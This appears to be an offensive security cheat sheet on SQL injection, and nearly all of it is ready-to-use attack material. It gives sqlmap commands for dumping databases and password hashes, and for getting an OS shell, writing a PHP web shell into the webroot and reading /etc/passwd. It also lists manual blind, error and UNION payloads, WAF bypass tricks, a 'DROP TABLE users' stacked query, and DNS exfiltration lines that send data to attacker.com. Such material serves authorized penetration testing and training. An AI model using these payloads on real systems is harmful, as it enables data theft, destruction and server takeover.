SQL Injection

Sections SQL Injection

Find injection points, confirm, extract, escalate to RCE.

T=https://target.com

i. Where it lives

Anywhere user input ends up in a SQL query:

  • URL parameters (?id=1, ?search=x)
  • POST body fields
  • JSON keys and values
  • HTTP headers (User-Agent, Referer, X-Forwarded-For occasionally logged into DB)
  • Cookies
  • Anywhere you see numeric IDs, sort/order params, filter fields
  • Search forms (especially with LIKE clauses)
  • Login forms (auth bypass via ' OR 1=1--)
  • Second-order points (data stored then later used in another query unsafely)

ii. Quick detection

Test these on every parameter, even ones that look “non-injectable”:

'             → 500 / SQL error in body
"             → similar
\             → escape attempts may leak  
1' OR '1'='1
1 AND 1=1
1 AND 1=2     → different response from 1=1 = blind boolean injection
1' AND sleep(5)--    → 5 second delay = time-based blind

Burp Scanner (passive + active audit) catches obvious cases. For mass-fuzz across many endpoints:

sqlmap -m urls.txt --batch --random-agent --level=2 --risk=1

iii. sqlmap, the workhorse

Default and most common patterns:

## Single URL with GET parameter:
sqlmap -u "$T/product?id=1" --batch

## POST request body:
sqlmap -u "$T/login" --data 'user=admin&pass=x' --batch

## JSON body:
sqlmap -u "$T/api/search" --data '{"q":"test"}' --headers='Content-Type: application/json' --batch

## With cookie / session:
sqlmap -u "$T/profile?id=1" --cookie 'PHPSESSID=abc; auth=xyz' --batch

## Header injection:
sqlmap -u "$T/" --headers='X-Forwarded-For: 1*' --batch
## (* marks the injection point)

## Test all parameters (level=5 risk=3 = maximum, slow):
sqlmap -u "$T/api?id=1&sort=name" --batch --level=5 --risk=3

Save the request from Burp and feed it:

## In Burp: right-click request -> Copy to file -> request.txt
sqlmap -r request.txt --batch
sqlmap -r request.txt --batch --level=5 --risk=3

Useful flags:

--current-db                ## what DB are we in
--current-user
--users                     ## DB user list
--passwords                 ## DB user hashes
--privileges
--dbs                       ## list databases
-D somedb --tables
-D somedb -T users --columns
-D somedb -T users --dump
--dump-all --exclude-sysdbs

--technique=BEUSTQ          ## B=boolean, E=error, U=union, S=stacked, T=time, Q=inline
--dbms=mysql                ## skip DBMS detection if known
--threads=10                ## parallel requests
--prefix='" AND' --suffix='-- -'   ## manual context override
--tamper=space2comment,charunicodeencode    ## WAF bypass tampers

--proxy=http://127.0.0.1:8080
--random-agent
--delay=2 --timeout=15      ## slow it down to avoid detection / rate limits

When sqlmap finds an injection but can’t dump:

sqlmap -r req.txt --technique=T --time-sec=3 --threads=1     ## time-based often slower but works
sqlmap -r req.txt --string="welcome"     ## tell sqlmap what a successful response looks like
sqlmap -r req.txt --not-string="error"

iv. sqlmap to RCE

When you have admin-level DB access, sqlmap automates the foothold:

## OS shell (uses DBMS-specific tricks):
sqlmap -r req.txt --os-shell
## File write (PHP web shell into webroot):
sqlmap -r req.txt --file-write=/tmp/sh.php --file-dest=/var/www/html/sh.php
## File read:
sqlmap -r req.txt --file-read=/etc/passwd

What works per DB:

  • MySQL: needs FILE privilege, often available for root. SELECT INTO OUTFILE, UDF if secure_file_priv allows.
  • PostgreSQL ≥ 9.3: COPY FROM PROGRAM = direct RCE, no extra setup.
  • MSSQL: xp_cmdshell if enabled, sqlmap re-enables it if config rights present.
  • Oracle: harder, needs DBA privs for DBMS_SCHEDULER or Java stored proc.

v. Manual injection patterns

When sqlmap fails (custom WAF, weird encoding, multi-step), manual is the way. The base patterns to know:

Boolean blind

Compare two queries: one that should be true, one false. Different responses confirm injection:

GET /search?id=1 AND 1=1
GET /search?id=1 AND 1=2

Extract data char-by-char via comparison:

?id=1 AND SUBSTRING((SELECT db_name()),1,1)='a'
?id=1 AND ASCII(SUBSTRING((SELECT db_name()),1,1))>97

Time-based blind

When no visible difference, use sleep functions per DB:

MySQL:      SLEEP(5)              ## also BENCHMARK(5000000,MD5('a'))
PostgreSQL: pg_sleep(5)
MSSQL:      WAITFOR DELAY '0:0:5'
Oracle:     dbms_pipe.receive_message(('a'),5)
SQLite:     CASE WHEN ... THEN randomblob(100000000) ELSE 0 END

Error-based

Force a specific error that includes data:

MySQL:      AND extractvalue(1,concat(0x7e,(SELECT version())))
PostgreSQL: AND 1=cast((SELECT version()) as int)
MSSQL:      AND 1=convert(int,(SELECT @@version))

UNION-based

Match column count and types, then read data:

?id=1 ORDER BY 1--+    ## ok
?id=1 ORDER BY 9--+    ## error = 8 columns
?id=1 UNION SELECT 1,2,3,4,5,6,7,8--+
?id=-1 UNION SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.tables

Note: -1 for the original id forces the first part of the UNION to be empty, only your row returns.

vi. WAF / filter bypass

Quick tampers when sqlmap reports a WAF blocking payloads:

sqlmap -r req.txt --tamper=space2comment,between,charunicodeencode
sqlmap -r req.txt --tamper=randomcase,charencode,space2hash
## List all tampers:
sqlmap --list-tampers

Common manual bypass tricks:

  • Comments to break keyword detection: UNI/**/ON SEL/**/ECT
  • Case randomization: uNiOn sElEcT
  • URL-encoded spaces (%20), tabs (%09), newlines (%0a, %0b, %0c, %0d)
  • Inline comments split keywords in MySQL: UN/*!*/ION
  • Backticks in MySQL: SELECT 1 FROM users``
  • \N instead of NULL
  • Hex encoding for strings: 0x61646d696e = 'admin'
  • Stacked queries on supporting DBs (MSSQL, PostgreSQL): '; DROP TABLE users--

vii. DB fingerprinting one-liners

When testing manually, identify the backend first. Quick tests:

## MySQL:    ?id=1 AND 1=1                works
## MySQL:    ?id=1 AND @@version           returns version in error
## PostgreSQL: ?id=1 AND version()=version()
## MSSQL:    ?id=1 AND @@SERVERNAME=@@SERVERNAME
## Oracle:   ?id=1 AND ROWNUM=ROWNUM
## SQLite:   ?id=1 AND sqlite_version()=sqlite_version()

Or look at error messages - each DB has distinctive error syntax.

viii. NoSQL hybrid stacks

When the app uses MongoDB / Couchbase / Elastic, sqlmap doesn’t apply. Jump to WEB04 NoSQL Injection .

If unclear which type, try both:

'              → SQL error suggests SQL
{"$ne":null}   → behaves like wildcard suggests NoSQL

ix. SQL Injection in second-order spots

When the immediate response is clean but the data is used later:

  • Registration form takes username, profile page later queries it
  • Search history saved to DB, displayed on dashboard with another query
  • Logging endpoints that re-query log data for analytics

Test by storing a payload then triggering the second-stage query. sqlmap supports this:

sqlmap -r register.req --second-url "$T/profile/me" --batch

x. ORM-specific bugs

Even ORMs leak. Common patterns:

  • Hibernate HQL injection: ORDER BY clauses, raw query methods
  • Django QuerySet extra() with user input
  • SQLAlchemy text() with f-strings
  • Sequelize raw query

These look like ORM calls but pass user input to a raw query string somewhere. Search the source for raw( / text( / executeSQL / query( if you have code access.

xi. Tricks worth knowing

Boolean shortcut via 0x ascii

For extracting one char at a time:

AND ASCII(SUBSTRING(...,1,1)) BETWEEN 64 AND 96    ## upper case?
AND ASCII(SUBSTRING(...,1,1)) BETWEEN 96 AND 128   ## lower case?
## Binary search down to exact char

Out-of-band exfiltration

When in-band blind is too slow, exfil via DNS:

MySQL:      LOAD_FILE(CONCAT('\\\\',(SELECT version()),'.attacker.com\\x'))
MSSQL:      EXEC master..xp_dirtree '\\attacker.com\x'
Oracle:     SELECT UTL_INADDR.get_host_address((SELECT version FROM v$instance)||'.attacker.com')
PostgreSQL: COPY (SELECT ...) TO PROGRAM 'nslookup attacker.com'

Set up an OAST listener with interactsh or Burp Collaborator.

Test stacked queries by writing then reading

On MSSQL / PostgreSQL:

'; INSERT INTO temp VALUES('test')--
## Then read back via select. Confirms stacked queries work and gives RCE potential.

Polyglot for unknown DBs

SLEEP(5)/*' or SLEEP(5) or '"XOR(SLEEP(5))OR"*/

Triggers time delay on MySQL/PostgreSQL/MSSQL with one payload.

–csrf-token in sqlmap

For protected endpoints:

sqlmap -r req.txt --csrf-token="csrf_token" --csrf-url="$T/login"

xii. References

xiii. Where it leads